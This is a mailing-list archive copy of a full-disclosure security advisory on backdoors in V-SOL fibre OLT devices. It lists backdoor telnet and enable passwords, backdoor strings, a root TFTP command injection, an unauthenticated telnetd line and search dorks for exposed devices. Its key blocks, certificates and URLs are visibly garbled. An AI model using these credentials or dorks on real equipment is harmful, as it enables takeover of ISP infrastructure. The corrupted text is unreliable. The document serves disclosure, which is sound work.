

<u>Full Disclosure</u> mailing list archives





```
List Archive Search
 Multiple vulnerabilities found in V-SOL OLTs
From: Pierre Kim <pierre.kim.sec () gmail com>
Date: Mon, 13 Jul 2020 14:45:52 +0100
Please find a text-only version below sent to security mailing lists.
The complete version on "Multiple vulnerabilities found in V-SOL OLTs" is posted here:

https://pierrekim.qithub.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html
 === text-version of the advisory ===
----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title: Multiple vulnerabilities found in V-SOL OLTs
Advisory URL: https://pierrekim.github.io/advisories/2020-v-sol-0x00-olt.txt
Blog URL: https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html
Date published: 2020-07-14
Vendors contacted: None
Release mode: Full-Disclosure
CVE: None yet assigned
## Product Description
The V-SOL OLTs are FTTH OLTs allowing to provide FTTH connectivity to a large number of clients (using ONTs). Some of the devices support multiple 10-gigabit uplinks and provide Internet connectivity to up to 1024 ONTs (clients).
We validated the vulnerabilities against V1600D4L OLT in our lab environment with the latest firmware versions (V1.01.49).
- - V1600D (V2.03.69 and V2.03.57)

- - V1600D4L (V1.01.49)

- - V1600D-MINI (V1.01.48)

- V1600G1 (V2.0.7 and V1.9.7)

- V1600G2 (V1.1.4)
We believe these models are also vulnerable:
- - V1600D2-L
- - V1600D2

- - V1600D4

- - V1600D4-DP

- - V1600D8

- - V1600D16

- V1600G0
For explanation about FTTH architecture, you can check my previous research at <a href="http://pierrekim.github.io/blog/2016-11-01-gpon-ftth-ne">http://pierrekim.github.io/blog/2016-11-01-gpon-ftth-ne</a>
```

Vulnerabilities Summary

```
The summary of the vulnerabilities is:
1. Backdoor Access with telnet
2. Enable Backdoor
3. Hardcoded RSA keys
4. Potential command injection
5. Code quality
6. Backdoor used for account creation
7. Backdoor specific to V1600D model
8. Insecure management interfaces
## Details - Backdoor Access with telnet
A telnet server is running in the appliance and is reachable from the WAN interface and from the FTTH LAN interface (from the ONTs).
You can find below backdoor (undocumented) credentials, giving an attacker a low-privilege CLI access.
```

login: admin password: !j@l#y\$z%x6x7q8c9z)

The credentials have been extracted from firmware images:

[please use the HTML version at https://pierrekim.github.io/bloq/2020-07-14-v-sol-olt-0day-vulnerabilities.html to see the image]
Authentication process with hardcoded credentials

```
$ telnet [ip]
Trying [ip]...
Connected to [ip].
Escape character is '^]'.
Hello, this is epon olt platform (version 1.00). Copyright 2010-2018, All Rights Reserved.
User Access Verification
Bad UserName or Bad Password , Login Failed.
Login: admin
Password: !j@l#y$z%x6x7q8c9z)
```

```
olt> list
                                                                                                           Turn on privileged mode command
                                        enable
                                                                                                       Turn on privileged mode command 
Exit current mode and down to previous mode 
Description of the interactive help system 
Print command list 
Exit current mode and down to previous mode 
Show running system information 
Set terminal line parameters
                                        exit
                                        help
                                          list
                                          quit
show
                                          terminal
                                          vty
who
                                                                                                       Virtual terminal
Display who is on vty
                         olt>
   ## Details - Enable Backdoor
 It is possible to elevate the privileges using the password `!j@l#y$z%x6x7q8c9z)` and to get a complete administrator CLI access:
                           olt> enable
Password: !j@l#y$z%x6x7q8c9z)
                           olt#
                                                                                                           Reset functions
Configuration from vty interface
Copy configuration
Turn off privileged mode command
Exit current mode and down to previous mode
Exit current mode and down to previous mode
Description of the interactive help system
Global IP configuration subcommands
Print command list
Negate a command or set its defaults
Exit current mode and down to previous mode
Show running system information.
Set terminal line parameters
Virtual terminal
Display who is on vty
Write running configuration to memory, network, or terminal
                                                                                                                Reset functions
                                       clear
                                        configure
                                        copy
disable
                                        end
exit
                                          help
                                          ip
list
                                        no
quit
                                          show
terminal
                         vty
who
write
olt#
 With this access, an attacker can completely overwrite the configuration as well as the firmware.
 ## Details - Hardcoded RSA keys
The firmware images contain hardcoded RSA keys, used to provide SSL encryption for the web server. \,
                  $ cat self.key
----BEGIN RSA PRIVATE KEY----

MICXAIRAARBQQDFCA SIRAgPDdq22n2mlPQ/s2IANv55GJhKF9CtkMIEpHEhbTixH
pcNB02cQcJFTK5EL2lA3JftekVk3DCKK68nc1JAAWmzJp53QpEovZr9ySQubkk39
//kHksfkMm3SldyLctatTv07q3y4WfM6tpOlomWkMFHerXmABfvCt89lDbA
AoGAe3cvLs4J022lA5k0lzigp3TbuFMaAgpat7/v2b5Imla7lqdJHLIWOSQKDmB3V
80v3SNNZUL16WFitxSQMWATPTVcELDWMGmGJ312cpb1zN8v1h5Q2TfLXyElt
SfWXOYNUCV4uiOfXNgJaOBzz4l8W8CjE6TyDF0DD3WsdQMECQQbpTMc5VD3ffaW
rlnahaaVTFYTyd7d2QG7jyXId12+mL0G8XUB6Cn1W1G3Kch61doL5Agpj25TeOcn
rlz/xxg83RA6A6DZR16ML6NEWZW19bdocp/7f4sILTLE6WfANSyM50e1FAlT3ge
ryfK5VWUZJm4N3oaLq5FFESWLAC/5FVgGQJAGcthuID2CR+nxK25msX/H3slzKc
YnmDJKL1ZF0gr0WWOCQOMF+a4xkEc5cfNN1FbVg+CAU1KQpW86GDEV3Oe5pbRpt
COTzePEN/TDEX5Zarf/Hg341V0+WGFEWGpv2c3eqderlWPHC0j+FZr2/bWr05Q5JAZk6K
YnmDJKL1ZF0gr0WWOCQOMF+a4xkEc5cfNN1FbVg+CAU1KQpW86GDEV3Oe5pbRpt
COTZEPEN/TDR SAPRIVATE KEY----
$ cat self.crt

MICKDCCAfmgAwTBAQTJALVkNsK/6FrZMAOGCSqGSIb3DQEBBQUAMGEXCZAJBgNV
BAYTA14uMgswCQYDVQQIDATULjELMAKCAIUEBwwCLi4xCZAJBgNVBAOMAi4MySw
CQYDVQDLDATUljERMAGAIUEAwwCLi4xETAPBqkqhkiG9w0BCQEWAi4uM98XDVPAGAU1KJELMACAIUBBWM14HACAIUBBWAWCJAYBAMAGAIUBBWAVCTAYBAMAGAIUBBWAVCTAYBAMAGAIUBBWAVCTAYBAMAGAIUBBWAVCTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGAIUBCANKTAYBAMAGA
V1600D4L and V1600D-MINI:
                  $ cat usr/sbin/self.key
----BEGIN RSA PRIVATE KEY----

MIICXQIBAARB9QDQYAace6igp8RpOXUq+82WUOXm8p5jIXBj6U9RRki9kLcu8vV/
80g/vdyPdartkhvG7tG5kJLS2464+UDNb2pnEk4L2bM9v4Y8rgmc/25FYFYiKb82
bckpV6e4BcuCxOUPC271ywikVFHg2g9Dva6bnug4y1+RUNK/ER4PADTw1DAQAB
AOGACOMb1DjutjAbB2z2jkcpp1Qb+MinhyG3h3zWkpfv2n7lx43OAUpNH1TN1NKR
L6HT6n6ByzurBRAREKJQdxSGiwWa7wB1NRRcoCQkcix1ev2BCQQD5XTXUHe/CGPAF
AA4G8srNwK5OSRdieUt-GcyCE2pad3VnVHUZIn3fEV11173pZUKDF9RrmEPBTA
SF5F+DBtAKEA1eO5mVZLaBIJnJgvG1LZnBWvxpy5fNuMrEgvt1WFn6naG8FIwosR
FPBG0WFUG1C3lu2dKSTN-8n93ktVW92FKWJBANNTAINJQcqSSS-9QO3UPCqnh/jkxJZ7y+ummq6bCgkDkloDCJNUSD69pbdnTTGCVEgfzyiSz4CkmXiAUPMytECQE+c
TbQdgXHH+XBfVuBf9vb6hJgQ0MRNHU8SZHbgjFK3ygSTNMXCSOk7+wht1HngH02
TTHV/hYwMgXQX6SoUHMCQQQDJFNuSMMUND+CQ24/t19d/FyhITHc/CDwsKN6tW0
8WfkCwMgDBqDiBted/S2g6Gy1VpaF3HKE+S15cB4mPVK
---SND RSA PRIVATR KEY----

$ cat usr/sbin/self.crt
---BeGIN CERTIFICATE----

MICkDCCAfmgAwTBAQIJAOkwF33vgsHMAOGCSQGSIb3DQEBBQUAMGEXCZAJBGNV
BAYTA14uMgswCQYDVQQLDAILIjELMAKGAIUEBwwCLi4xCAAJBGNVBAOMAi4uMGsw
CQYDVQQLDAILjERMAKGAIUEAwwCLi4xETAPBqkghkiG9wOBCQEWAI4uWB4XDTE
BAYTA14uMgswCQYDVQQDDAILIjELMAKGAIUEBwkGLi4xCAAJBGNVBAOMAi4uMGsw
CQYDVQDLDAILjERMAKGAIUEAWCLi4xETAPBqkghkiG9wOBCQEWAI4uWB4XDTE
BAYTA14uMgswCQYDVQQDDAILJELMAKGAIUEBWCLi4xCAAJBGNVBAOMAi4uMGsw
CQYDVQDLDAILJERMAKGAIUEAWCLi4xETAPBqkghkiG9wOBCQEWAI4uWB4XDTE4
WGYDNAQMTHXNVONDTIBMDCyNjAAMTWANOVYTELMAKGAIUEBWCLi4xCAAJBGNVBAOMAi4uMGsw
CQYDVQDLDAILJERMAKGAIUEAWCLi4xETAPBqkghkiG9wOBCQEWAI4uWB4XDTE4
WGYDNAQMTHXNVONDTIBMDCyNjAAMTWANOVYTELMAKGAIUEBWGLI4xCAAJBGNVBAOMAi4uMGsw
CQYDVQDLDAILJERMAKGAIUEAWCLI4xETAPBqkghkiG9wOBCQEWAI4uWB4XDTE4
WGYDNAQMTAUJSGNBUOMBCCSqcSg1Sh3DQEBBQAMGCECZJTBgNVBAOMAi4uMGsw
CQYDVQQLDAILJERMAGGAIUGCAGABAUHMANOVAYTELGUAXSAUCLI4xCAAJBGNVBAOMAI4uMGSG2GGSTB3DGEBQOA
GYOMATGJAGGANBRDp57gKCnxGKUUebaDOO9cpue4+peP41FQO-8RHG8ANFAQBBAOAGO
GRNYVYOMD4SGSB4DBOOCHCMCWUFAHAMBANDVAFEAUATHACAGAUEBBAADGO
GRNYVYOMD4SGSB4DBOOCHCMCWUFAHAMBAADOO9cpue4+peP41FQO-8RHG8ANFAQBBAOAGO
GRNYVSOMUZeFXIRCZ:14XFv42ABBGNVBAMBETADAQH/MAGCSGGSTB3DGEBQOA
AGBBADBYGSSB3B9BBYCXTAXSOGJOCCU
V1600D, V1600G1 and V1600G2:
```

```
It is possible to use TFTP to transfer some files:

upload tftp syslog <filename> <A.B.C.D>

upload tftp configuration <filename> <A.B.C.D>

This is vulnerable to a command injection, allowing to run commands as root.
```

Detail - Potential command injection

```
The function starting the tftp process using system(3) will use the argument provided by the attacker, as shown below:
[please use the HTML version at https://nierrekim.github_io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html
to see the image]
TFTP command injection
## Detail - Code quality
In the firmware image of V1600D4L and V1600D-MINI, we can find the following inside the 'init.sh' script:
        $ cat init.sh
#!/bin/sh
       [...]
ifconfig eth0 0.0.0.0
ifconfig eth0 up
       telnetd -1 /bin/sh&
During the update, the script appears to start telnetd without authentication.
## Backdoor used for account creation
The string '4ef9ceal0b2362f15ba4558bld5c08lf' is being compared with an input value in the function used to create new users.
The code will check if the user is 'admin' or if the backdoor password '4ef9ceal0b2362f15ba4558bld5c08lf' is provided.
It appears it is being used to create admin users from non-admin users.
[please use the HTML version at https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html
to see the image]
Creation of new user, using a `backdoor` password
Due to time constraints, we did not study this backdoor in depth.
## Backdoor specific to V1600D model
This backdoor appeared in version 2.03.69.
The string `KOLTdi@gnos312$` is being compared with the password provided by the the remote attacker. If it matches, the access will be provided.
[please use the HTML version at .....//miarrakim.aithub.io/blog/2020-07-14-v-sol-olt-Oday-vulnerabilities.html
to see the image]
Authentication process with hardcoded credentials
Due to time constraints, we did not study this backdoor in depth.
## Details - Insecure management interfaces
By default, the appliance can only be managed remotely with HTTP, HTTPS, telnet and SNMP. Some devices may support SSH. Furthermore, SSL is using hardcoded keys. An attacker can intercept passwords sent in clear-text and MITM the management of the appliance.
## Dorks
"Hello, this is epon olt platform (version 1.00)."
"Copyright 2010-2018,All Rights Reserved."
## Vendor Response
Full-disclosure is applied as we believe some backdoors are intentionally placed by the vendor. \,
## Report Timeline
* Dec 29, 2019: Vulnerabilities found and this advisory was written. * Jul 14, 2020: A public advisory is sent to security mailing lists.
## Credits
These vulnerabilities were found by Pierre Kim (@PierreKimSec) and Alexandre Torres (@AlexTorSec).
## References
https://pierrekim.github.io/blog/2020-07-14-v-sol-olt-0day-vulnerabilities.html
## Disclaimer
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a>
----BEGIN PGP SIGNATURE----
IQIZBABEGQAdFiEEOSGI9MSTZXDXWTMCXD402n2TLbwFAl8MX4oACgkQxD402n2T
LbymmBAATmUCDEI/WHC5ch31YfXx8h58COTD115G0D7osIixteXT67jCns5EGdhBJ
Lq66KLdjzC+60jhjlN/YHu2BupDf4ChtnTId/UVSjuvy88J17f6VweqsazxebYac
WComBwN9Tgw20Bjhmqff3y2qa6Ypf6buiPcidaLTUT1G0VM8b0wUDF2qrb5KLT
cKJoFW//RaX9eQCZaB/5ROZIv06h2Z8x2930ijOfC5KRqoVex5FkNVldEZ4AFBIM
V/lFYMNOX6KO6GWLFQG0xe4Qvjd+HB1341xgUMNBxsJAQ4H8NG1CgZffitJKv
OGgN1P5FRtUHT71kN0+Bmw1/vamF31bCEUacQoW08cahpigHJEIKzV+wdXrjiUV
4Q1aBpUHwcFEe5UyM1+YxTUZW81AQCDXODDFY:FX6Ahgcty2R5Kfc5igyGUS
GqxPV7j9HJqahf5rLutbF07onbOxXyU/YwLPx3kbHs3yJ68a1XKZox5o0B3MT/BU
GEU1Kp5c2sZmMXNMmdW7bh/MODIgAdK4vfjRgJP77QyHjced1twqmEFT2/fy5k+I
gMZC1/EZMUAOARXimq7Qxxn3TvedmforCtUrbcClmE1jQ8weu8xKCUH+joFGmkmv
146u4GKySZwmm+2DfQmxSXTZKX689YckXAhigt7bpSDk3yB212w=
=DOib
=DOib
----END PGP SIGNATURE----
```

Sent through the Full Disclosure mailing list

Pierre Kim
pierre.kim.sec () gmail com
@PierreKimSec
https://pierrekim.github.io/

By Date By Thread

Current thread:

Multiple vulnerabilities found in V-SOL OLTs Pierre Kim (Jul 13)

Site Search						
Nmap Security	Npcap packet	Security Lists	Security Tools	About		
Scanner	capture	Nmap Announce	Vuln scanners	About/Contact		
Ref Guide	User's Guide	Nmap Dev	Password audit	Privacy		
nstall Guide	API docs	Full Disclosure	Web scanners	Advertising		
locs	Download	Open Source Security	Wireless	Nmap Public Source		
ownload	Npcap OEM			License		
Imap OEM		BreachExchange	Exploitation			